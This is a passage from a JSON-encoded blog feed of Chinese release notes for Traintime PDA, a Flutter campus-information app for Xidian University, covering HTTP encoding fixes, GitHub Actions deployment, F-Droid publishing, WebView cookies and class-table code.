-\u0026gt; 若干拦截器 -\u0026gt; 转换器 -\u0026gt; Dart 底层实现或系统网络实现\n响应的二进制码 -\u0026gt; 转换器 -\u0026gt; 若干拦截器 -\u0026gt; HTTP 响应\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e拦截器一般处理 Cookie,判断响应码之类。目前 Dio 的拦截器不支持异步方法。\u003c/p\u003e\n\u003cp\u003e转换器 Transformer 是一个二进制码和 HTTP 请求响应结构互相转化的桥梁。默认的 Transformer 是解码后用来对 body 进行判断的。由于我上面提到,不能用 UTF 先编码再解码,所以我定制了一个 Transformer,称为 \u003ccode\u003eExperimentDioTransformer\u003c/code\u003e。在一些基本对 Body 的二进制解析后,直接用 GBK 解码库来返回数据。学校物理实验服务器都是返回的网页,所以这么写没啥问题。\u003c/p\u003e\n\u003ch4 id=\"关于-cookie-有中文字符\"\u003e关于 Cookie 有中文字符\u003c/h4\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/cfug/dio/issues/1959\" target=\"_blank\" rel=\"noopener\"\n \u003e我在 Dio 开发仓库提出的问题\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eCookie 的官方规范,是仅允许一部分 ASCII 码作为合法字符的,Dart 核心库的 Cookie 实现严格遵照这个规范。但是令我哭笑不得的是,咱学校物理实验服务器传回的 Cookie 包含中文字符,就是这个用户的名字。加上 GBK 导致的编码,最后的结果自然就是报错,扔出“错误编码异常”。\u003c/p\u003e\n\u003cp\u003e人官方严格按照标准,无可厚非。我为了这个玩意折腾了很长时间,直到最后,有个人告诉我,那个 Cookie 给服务器传任何值都可以,我无语了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"关于应用内信息的分发机制\"\u003e关于应用内信息的分发机制\u003c/h3\u003e\n\u003cp\u003e借鉴了\u003ca class=\"link\" href=\"https://github.com/xeonds/xdu-planet\" target=\"_blank\" rel=\"noopener\"\n \u003e这个项目\u003c/a\u003e。接下来,根据我的“服务器”和借鉴项目的 Github Action 配置文件,我给大家做一个大致的部署过程讲解。\u003c/p\u003e\n\u003ch4 id=\"借鉴项目的-action\"\u003e借鉴项目的 Action\u003c/h4\u003e\n\u003cp\u003eGo 版本的 XDU Planet,本质上就是 RSS 处理转 json,然后用 gin 开服务器端口。这个项目使用 Github Action 来每小时更新,然后更新成一个 json 文件,最后搞到 Github Page。\u003c/p\u003e\n\u003cp\u003e这个项目有三个分支:主代码,配置文件,部署分支。发布流程大致如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e对代码进行构建,对于这个项目,就是构建 go 代码和 vue 代码。\u003c/li\u003e\n\u003cli\u003e使用 go 生成的可执行文件,生成 json 文件。\u003c/li\u003e\n\u003cli\u003e上传生成的网页和 json 到部署分支,然后在部署分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"我的通知服务器\"\u003e我的“通知服务器”\u003c/h4\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda_backend\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。核心技术就是用 \u003ca class=\"link\" href=\"https://github.com/johnkerl/miller\" target=\"_blank\" rel=\"noopener\"\n \u003eMiller\u003c/a\u003e 来将 csv 转换成 json,然后用 Github Action 推到 Page 服务。同样的,这个项目有两个分支:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003emain 分支:存储 csv 文件和 Github Action 配置文件。\u003c/li\u003e\n\u003cli\u003edepoly 分支:存储需要通过 Github Page 发布的 json 文件。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e发布流程和上面的差不多:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e将 csv 转换为 json 文件。\u003c/li\u003e\n\u003cli\u003e上传 json 到部署分支,然后在 depoly 分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"关于一点点-ios-开屏娘的事情\"\u003e关于一点点 iOS 开屏娘的事情\u003c/h3\u003e\n\u003cp\u003e这个玩意主要用到了 XCode 的界面设计工具。长这样:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003eApple Store 上架需要程序有个开屏图,我于是找个人画个漫画。画家顺便画个手绘板的图标,风格对应了。\u003c/p\u003e\n\u003cp\u003e这个玩意我当时搞了接近一个下午才搞成,大部分时间在摸索这玩意到底咋用,小部分时间在看各个手机屏幕大小情况下的排版状况。最终我摸索出这样的排版:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e上面人脸下面图标,在一个中轴线上。\u003c/li\u003e\n\u003cli\u003e人脸大小写死,因为我不知道如何动态调整图片大小:P 图标比例写死 1:1。\u003c/li\u003e\n\u003cli\u003e人脸中心在 Y 轴中心上面(减去) 80px 处,图标在 Y 轴下面(加上) 200 像素处。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"dreams-never-end-by-new-order-former-joy-division\"\u003eDreams Never End by New Order (former Joy Division)\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Sy4y1E7Uy\" target=\"_blank\" rel=\"noopener\"\n \u003e歌曲的 MV 点此观看\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eMy promise could be your fiend \nA given end to your dreams \nA simple movement or rhyme \nCould be the smallest of signs \nWe\u0026#39;ll never know what they are or care \nIn it\u0026#39;s escapable view \nThere\u0026#39;s no escape so few in fear \nGive in a changing value \n\nTo be given your sight \nHid in a long peaceful night \nA nervous bride for your eyes \nA fractured smile that soon dies \nA love that\u0026#39;s wrong from your life and soul \nA savage mine had begun \nHello, farewell to your love and soul \nHello, farewell to your soul \n\nNow I know what those hands would do \nNo looking back now, we\u0026#39;re pushing through \nWe\u0026#39;ll change these feelings, we\u0026#39;ll taste and see \nBut never guess how the him would scream \nBut never guess how the him would scream \nBut never guess how the him would scream \n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eYours and us legacy continues, no matter what happens\u0026hellip;\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.4.0-release-note.html"},{"title":"Traintime PDA v0.2.0 发行简记","time":"2023-08-16T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.2.0 发行简记\" /\u003e\u003cp\u003e没想到很快我就发了 v0.2.0 版本,和 v0.1.0 版本相比,我感觉更多的是完善,和准备上架。\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"新功能介绍\"\u003e新功能介绍\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e空闲教室查看功能,写起来比我想的简单。但是我是大摆子,我不知道真的会有人用嘛.png\u003c/li\u003e\n\u003cli\u003e移除西电目录,使用电话本代替。点击对应卡片可以拨出电话。\u003c/li\u003e\n\u003cli\u003e很多的 WebView 功能,比如报修啥的。这玩意主要可以水功能,还能对标其他产品。\u003c/li\u003e\n\u003cli\u003e应某个工作室请求,我写了个双创需求大厅,希望各位能从上面更好地拉队友(别跟我一样啥奖都没有,QAQ)\u003c/li\u003e\n\u003cli\u003e校园网感觉短期内不会有写的必要了,所以写进 WebView 了(溜)。\u003c/li\u003e\n\u003cli\u003e顺利上架 F-Droid,然后貌似站点就给墙了?\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e物理实验查询,我目前不做实验了,所以可能得找人帮忙了()\u003c/li\u003e\n\u003cli\u003e上架 iOS 商店。\u003c/li\u003e\n\u003cli\u003eiOS 和 Android 小部件,我需要进一步研究。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于上架-ios\"\u003e关于上架 iOS\u003c/h2\u003e\n\u003cp\u003e目前我打算这个版本尝试申请 Testflight。据我所知,至少有三个组+两个人也在写这个东西,我无论如何也得打出去第一炮。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里我无端想到了《东周列国春秋篇》电视剧里面的要离。\u003c/p\u003e\n\u003cp\u003e中学学过“专诸刺王僚,要离刺庆忌”,不知道咋回事。看了电视剧才知道,他为了出名,壮士断腕。吴王阖闾说:“你是要名,还是要家?”结果就不必说了……\u003c/p\u003e\n\u003cp\u003e我现在也有点那啥,我为了这玩意,已经砸进去很多了。我这辈子都没一次性花这么多钱,现在我不上架,真对不住那么钱了。但上架了话,真的会有那么多人用嘛?\u003c/p\u003e\n\u003cp\u003e我这玩意,真要跟电表,跟其他原生,可以说是被爆打。也许就真的只是“开源+第一个上架”?开源这年头算毛线的优势?\u003c/p\u003e\n\u003cp\u003e写这个程序有一段时间,我一直在想这件事,不过现在释然了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003cp\u003e点击这个可以查看\u003ca class=\"link\" href=\"https://superbart.top/p/traintime-pda-v0.1.0-release-note.html\" target=\"_blank\" rel=\"noopener\"\n \u003ev0.1.0 的技术相关\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"webview-cookie-相关\"\u003eWebview Cookie 相关\u003c/h3\u003e\n\u003cp\u003e想在 Flutter 使用 Webview ,你可以使用两个插件:\u003ca class=\"link\" href=\"https://pub.dev/packages/webview_flutter\" target=\"_blank\" rel=\"noopener\"\n \u003ewebview_flutter\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://pub.dev/packages/flutter_inappwebview\" target=\"_blank\" rel=\"noopener\"\n \u003eflutter_inappwebview\u003c/a\u003e。前者是官方开发,功能基础;后者是第三方开发,功能强大。我为了保证简洁,使用的是前者。\u003c/p\u003e\n\u003cp\u003e关于插件,网上很多资料都是很老的,我参考了这位的文章:\u003ca class=\"link\" href=\"https://juejin.cn/post/7196698315835260984\" target=\"_blank\" rel=\"noopener\"\n \u003e在 Flutter 中使用 webview_flutter 4.0\u003c/a\u003e,其中最有用的是第三篇,讲怎么用 Cookie 的。我的程序是这样写的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWebView 页面中,接受要前往的网站和获取 Cookie 的网站。\u003c/li\u003e\n\u003cli\u003e在 initState 状态下,初始化 Webview 的 CookieManager 和 Controller。WebView 的控制器可以控制加载,页面前进和回去。\u003c/li\u003e\n\u003cli\u003e在 didChangedDepencies 状态下,根据获取 Cookie 的网站,从 Dio 的 CookieJar 中获取 Cookie。然后控制器请求对应网站。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体代码在\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/homepage/toolbox/webview.dart\" target=\"_blank\" rel=\"noopener\"\n \u003e这里\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后,这个玩意貌似在 iOS 平台下有 bug,Cookie 死活加不进去,我已经提 bug 了:-P\u003c/p\u003e\n\u003ch3 id=\"上架-f-droid-平台\"\u003e上架 F-Droid 平台\u003c/h3\u003e\n\u003cp\u003eF-Droid 有两个好:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e开源的东西多,就是好\u003c/li\u003e\n\u003cli\u003e目前我程序在安卓平台唯一可以“自动更新”的方式\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFlutter 程序上架,除了官方的,可以参考这位的\u003ca class=\"link\" href=\"https://friesi23.github.io/flutter/android/fdroid/appstore/2023/06/08/submitting-your-flutter-app-to-fdroid.html\" target=\"_blank\" rel=\"noopener\"\n \u003e上传指南\u003c/a\u003e。我想补充两点————可重复构建,分开架构构建:\u003c/p\u003e\n\u003cp\u003eF-Droid 的可重复构建,对我而言,最主要的就是使分发都带上我的签名。这就需要保证构建元数据需要你签名的 sha256 摘要,和一个可供对照的构建(在我这里就是我在 Github Action 上面的构建)。\u003c/p\u003e\n\u003cp\u003e分开架构构建,就是按照手机架构(arm64,arm32,x86)来构建分发包。这个东西,貌似每个架构的版本构建号还不一样。当时写构建元数据的时候,写到弃疗。他们 F-Droid 的审核人好好,帮我写了T_T\u003c/p\u003e\n\u003cp\u003e我的上架过程可以看看\u003ca class=\"link\" href=\"https://gitlab.com/fdroid/fdroiddata/-/merge_requests/13537\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e,合并请求后四天,真正上架。你们可以从这里\u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/packages/io.github.benderblog.traintime_pda/\" target=\"_blank\" rel=\"noopener\"\n \u003e点进链接下载\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e另外说为啥来这里上架,我这软件确实是自由软件。还有,国内上架需要这个那个的,感觉好麻烦,而且已经有电表了,再上架一个感觉也吸引不了多少。\u003c/p\u003e\n\u003ch3 id=\"双创需求大厅相关\"\u003e双创需求大厅相关\u003c/h3\u003e\n\u003cp\u003e这个东西,主要是使用了 Dart 3 的最新语言功能:Records。详情\u003ca class=\"link\" href=\"https://juejin.cn/post/7233067863500849209\" target=\"_blank\" rel=\"noopener\"\n \u003e看这个文章\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e我没记错,go 好像能一次性返回两个值。一开始我感觉很神奇,然后相似的东西就降临到 Flutter 了。说回来,如果没有这个东西,我会考虑 Pair / List,大不了写个 class 。\u003c/p\u003e\n\u003cp\u003e双创需求大厅本质上跟找工作网站差不多,都得有个 Popup 来选择职位状况。这个东西的服务器筛选工作,是需要两个东西:一个 String 传大致分类,一个字符串数组传输 tags。我选择这俩东西的部件是写在外面的,需要返回数据的话,我直接写 \u003ccode\u003e(String, List\u0026lt;String\u0026gt;)\u003c/code\u003e 就可以了。读取的这些数据的话,可以通过 \u003ccode\u003e$1\u003c/code\u003e 或 \u003ccode\u003e$2\u003c/code\u003e 来读取。\u003c/p\u003e\n\u003cp\u003e不过这玩意现在只有五个数据,以后会不会变多呢?也许我能通过这个,说一波我程序和xxx合作?\u003c/p\u003e\n\u003ch3 id=\"课程表代码变化\"\u003e课程表代码变化\u003c/h3\u003e\n\u003cp\u003e为了将来看得方便,我使用了 InheritedWidget 部件来存储课程表数据。课程表数据相关,请看我之前写的东西。Flutter 有组件树和渲染树,我理解不多,但我知道 InheritedWidget 组件相当于存有数据的树根,在其底下的孩子都可以读取这里的数据。这样就能跨部件共享数据了。实际上这个东西我们早就用过了,当时那篇介绍文章使用的是 \u003ccode\u003eMediaQuery.of(context).size\u003c/code\u003e 来举例。\u003c/p\u003e\n\u003cp\u003e关于周次选择轴/滚动锁和页面控制器,貌似 InhheritedWidget 不喜欢变化很大的数据,还是在组件里初始化啥的,我只好写在了别的类。为了保证子部件好监听,我使用了 ChangeNotifier 让他们监听。不过貌似只用在了解锁最顶部的锁:-p\u003c/p\u003e\n\u003cp\u003e还有个问题,就是最顶部的初始滚动。目前刚打开的情况下,如果周次很靠后,可能会出现弹的情况。这个要解决,我得保证屏幕变化的时候,我能保证屏幕宽度的数据能让监听器有所察觉。这块……反正我是有点迷糊,不过感觉无伤大碍(希望)。\u003c/p\u003e\n\u003ch2 id=\"结语\"\u003e结语\u003c/h2\u003e\n\u003cp\u003e这就是 v0.2.0 的发行简记,感谢阅读。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.2.0-release-note.html"},{"title":"Traintime PDA v0.1.0 发行简记","time":"2023-07-29T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.1.0 发行简记\" /\u003e\u003cp\u003e终于,经过一年多的断断续续的编写,Traintime PDA v0.1.0 发布了。虽然功能还算较少,但可以算是稳定版了。\nTraintime PDA 是西电同志们的又一个个人信息查看应用,很明显,是电表的模仿产品。\u003c/p\u003e\n\u003cp\u003ev0.1.0 可以算是这个软件第一个稳定版本,我自然需要花上一小段篇幅来跟大家介绍这个软件。\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"功能介绍\"\u003e功能介绍\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e根据Timetable重写的 Flutter 课程表,这个课程表我尽力模仿这个插件,解决课程冲突,还能添加一张背景图片,能挂着你喜欢的 idol 之类()\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/classtable.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/classtable.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"课程表页面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e课程表页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e体育查询,打卡记录和体测成绩。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/sport.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/sport.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"体育查询页面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e体育查询页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e成绩查询,包括可以自行选择科目计算均分。计算均分功能看来同学们十分喜欢使用,但我是大摆子(逃)\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/score.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/score.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"成绩计算\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e成绩计算\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e自行选择学期的考试安排查询,自行选择学期功能是疫情的后遗症。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/exam.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/exam.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"考试查询\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e考试查询\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e电量查询和欠费查询,这个功能只是在首页上的卡片。\u003c/li\u003e\n\u003cli\u003e校园卡流水查询和(如果有的话)校园卡余额查询。 \u003cbr\u003e\n(显示余额功能我考虑到手机支付十分广泛,首页就不显示了)\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/school.card.record.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/school.card.record.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"流水查询\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e流水查询\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e图书馆信息查询,个人借书状况和学校书库状况。 \u003cbr\u003e\n(扫码借书,扫码转借功能担心风险,尚未支持)\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/library.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/library.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"图书馆信息\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e图书馆信息\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e西电目录,曾经在疫情封校期间运行的学校综合楼目录 + 食堂目录。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/xddir.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/xddir.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"西电目录\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e西电目录\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003eXDU Planet:查看同学的博客,富含先辈的恩情(学习资料),另该功能代行转发学校教务处通知。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/xduplanet.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/xduplanet.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"XDU Planet\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eXDU Planet\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于相比电表的优势\"\u003e关于相比电表的优势\u003c/h2\u003e\n\u003cp\u003e我的程序打不过电表,这是肯定的。但我可以说出几点我的软件优势。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e我的程序使用 Flutter 开发,天生能适应 iOS 和 Android 两个移动端,使用范围肯定更广。我已经为 iOS 和 Android 都编译了目标端,在双端的运行效率都很流畅。\u003c/li\u003e\n\u003cli\u003e我的程序代码完全开源,而且结构清晰明了。我给我的程序编写了\u003ca class=\"link\" href=\"https://legacy.superbart.top/writing/XDYou%20SAD.html\" target=\"_blank\" rel=\"noopener\"\n \u003e架构图介绍\u003c/a\u003e。这么做,可以保证别人可以阅读我的代码,然后修改代码,诞生他们学校的学生信息查看应用。而且我确信,这个是最能在开发者方面,保障用户隐私的最好方式。\u003c/li\u003e\n\u003cli\u003e我的程序一定程度上适配了横屏,平板使用体验应该更好。看看上面图书馆的图片就能看出来了。\u003c/li\u003e\n\u003cli\u003e我的程序很不正经。首先,开发者很不正经,而且保守的不得了;其次,程序里充满了彩蛋,甚至,我的字很好看(不是)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e空闲教室查看功能,这个我感觉使用量应该不高(也许是因为我是个大摆子)\u003c/li\u003e\n\u003cli\u003e物理实验查询,我目前不做实验了,所以可能得找人帮忙了()\u003c/li\u003e\n\u003cli\u003e校园网流量查询,目前学校校园网免费,啥时候要收费我赶紧写一个\u003c/li\u003e\n\u003cli\u003e很多的 WebView 功能,比如报修啥的,我需要进一步研究\u003c/li\u003e\n\u003cli\u003eiOS 和 Android 小部件,我需要进一步研究,而且感觉影响不大\u003c/li\u003e\n\u003cli\u003e扫码借书,扫码转借。这个我担心会对学校库存有所影响,而且难以测试,所以暂时不写\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003cp\u003e这些东西是进一步介绍我程序里面的技术,很多在我看来不是最优解,欢迎大家指正。\u003c/p\u003e\n\u003cp\u003e我之前写了两篇:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e关于我们学校的系统后端,只有一站式服务中心\u003c/li\u003e\n\u003cli\u003e关于我程序的架构\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e可能以后版本的发行简记不会这么详细了吧。\u003c/p\u003e\n\u003ch3 id=\"课程表\"\u003e课程表\u003c/h3\u003e\n\u003cp\u003e这里我尽量用 MVVC 模式介绍。\u003c/p\u003e\n\u003cp\u003e课程表写在了一个 StatefulWidget 里,方便维持一整个页面的状态,这个就是 View 。课程表的业务代码已经全部剥离到 classtable_controller.dart 里面,这个就是 Controller。\u003c/p\u003e\n\u003cp\u003e关于如何将 Controller 里数据传输到部件方面,也就是 ViewModel 方面,我使用的 GetX 框架,用了他两个状态管理方式,我再啰嗦一句吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e.obs + Obx()\u003c/code\u003e将数据和状态绑定,部件观察数据更新而进行更新,这个是单向的状态传递;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eController.update() + 控制器注入或绑定到部件\u003c/code\u003e,这个方式可以让部件发起控制器更新,是双向的。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e课程表使用的是后一种,使用 \u003ccode\u003eGet.put()\u003c/code\u003e 方式,将控制器注入到课程表部件里面。\u003c/p\u003e\n\u003cp\u003e最后,是关于 Model 方面,这个是 Repo 里的东西,这里省去。\u003c/p\u003e\n\u003ch4 id=\"数据模型介绍\"\u003e数据模型介绍\u003c/h4\u003e\n\u003cp\u003e这里我先介绍数据模型,也就是我将学校数据处理后的结果。文件在 lib/model/xidian_ids/classtable.dart 。\u003c/p\u003e\n\u003cp\u003e提前说明,有关于 json 序列化模板代码可以忽略。\u003c/p\u003e\n\u003ch5 id=\"课程信息\"\u003e课程信息\u003c/h5\u003e\n\u003cp\u003e包括课程名称及序号,教师名称,和班级序号。这里有很多可选选项,只能说学校就这么搞的()\n涉及到渲染时候判断课程信息相同,我重载了 hashCode 和 == 运算符。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eteacher\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 老师\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 班级序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan 